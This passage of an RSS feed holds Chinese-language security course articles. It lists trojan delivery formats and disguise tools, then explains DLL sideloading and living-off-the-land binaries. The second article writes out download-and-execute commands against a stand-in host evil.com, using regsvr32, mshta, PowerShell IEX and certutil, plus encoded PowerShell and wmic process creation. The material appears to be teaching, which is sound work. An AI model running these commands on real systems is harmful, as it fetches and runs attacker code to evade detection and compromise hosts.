Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Office文档嵌入马</span></strong><span leaf="">：</span></p></li><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• DDE（动态数据交换）</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• OLE（对象链接与嵌入）</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• 公式编辑器漏洞</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• EPS（Encapsulated PostScript）漏洞</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• VBA宏病毒</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• 其他Office漏洞利用</span></p></li></ul><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Flash漏洞利用</span></strong><span leaf="">：利用Flash Player的已知或零日漏洞</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">HTA文件</span></strong><span leaf="">：HTML应用程序格式的恶意代码</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">PDF文件嵌入马</span></strong><span leaf="">：利用PDF阅读器漏洞</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">CHM文件</span></strong><span leaf="">：编译的HTML帮助文件格式</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">LNK快捷方式伪装</span></strong><span leaf="">：伪装成快捷方式的恶意文件</span></p></li></ul><h3 style="box-sizing: border-box;border-width: 0px 0px 0px 3px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: justify;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 8px;color: rgb(63, 63, 63);"><span leaf="">2.2 伪装技术</span></h3><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">PE捆绑</span></strong><span leaf="">：将恶意代码与合法程序绑定</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">数字签名伪造</span></strong><span leaf="">：</span></p></li><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• SigThief</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• signtools</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• Digital-Signature-Hijack</span></p></li></ul></ul><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">APK混淆</span></strong><span leaf="">：AVPass（针对Android应用）</span></p></li></ul><h3 style="box-sizing: border-box;border-width: 0px 0px 0px 3px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: justify;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 8px;color: rgb(63, 63, 63);"><span leaf="">2.3 木马选择策略</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">根据目标环境、安全防护水平、攻击目的选择合适的木马类型和攻击向量。</span></p><hr style="box-sizing: border-box;border-width: 2px 0px 0px;border-style: solid;border-color: rgba(0, 0, 0, 0.1);height: 0.4em;color: inherit;margin: 1.5em 0px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);"><span leaf="">三、木马投递阶段</span></h2><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="52"></mp-pay-preview-filter></p></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=472bedd8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496623%26idx%3D1%26sn%3D46d2e0509d21684111d590a274b027bb">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 28 Mar 2026 20:00:00 +0800</pubDate>
    </item>
    <item>
      <title>白+黑技术与LOLBins——利用合法工具的艺术</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496613&amp;idx=1&amp;sn=a62d229f9ed405bacd639764c4d481e1</link>
      <description>一、前言概述白+黑技术和LOLBins利用合法程序和系统工具执行恶意操作，是现代攻击的常用技术。</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-03-27 08:31</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=51d839e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FM5H82XuSHY6ibKibS39zdUPXn6CPf37MPJZTezdP6qbJSQbNgqRUlE6XJDrgbZiciaX3BRiaaGVVLq3Eya0Hrltv2C9VhZkZXTxyQa5mtcWX4l6Q%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、前言概述</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">白+黑技术和LOLBins利用合法程序和系统工具执行恶意操作，是现代攻击的常用技术。本课将深入介绍这些技术的原理和实现方法。</span></p><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、相关内容</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 白+黑技术</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">利用合法的&#34;白&#34;程序（如rundll32.exe、regsvr32.exe）来加载和执行恶意的&#34;黑&#34;DLL，利用白程序的合法性和信誉来规避检测。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">常见白程序：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">rundll32.exe</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">regsvr32.exe</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">mshta.exe</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">wscript.exe</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">cscript.exe</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">msbuild.exe</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">installutil.exe</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">实现方法：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">rundll32.exe C:\malicious.dll,EntryPoint</span><span leaf=""><br/></span><span leaf="">regsvr32.exe /s /n /u /i:<a href="http://evil.com/malicious.sct" target="_blank">http://evil.com/malicious.sct</a> scrobj.dll</span><span leaf=""><br/></span><span leaf="">mshta.exe <a href="http://evil.com/malicious.hta" target="_blank">http://evil.com/malicious.hta</a></span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 LOLBins（Living Off The Land Binaries）</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">利用系统自带的合法工具执行恶意操作，这些工具是合法的，不易被阻止。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">常见LOLBins：</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">PowerShell：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">IEX (New-Object Net.WebClient).DownloadString(&#39;<a href="http://evil.com/malicious.ps1" target="_blank">http://evil.com/malicious.ps1</a>&#39;)</span><span leaf=""><br/></span><span leaf="">powershell -enc &lt;base64_encoded_command&gt;</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">WMIC：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">wmic process call create </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;cmd.exe /c malicious_command&#34;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">Certutil：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">certutil -urlcache -split -f <a href="http://evil.com/malicious.exe" target="_blank">http://evil.com/malicious.exe</a> malicious.exe</span><span leaf=""><br/></span><span leaf="">certutil -decode malicious.b64 malicious.exe</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 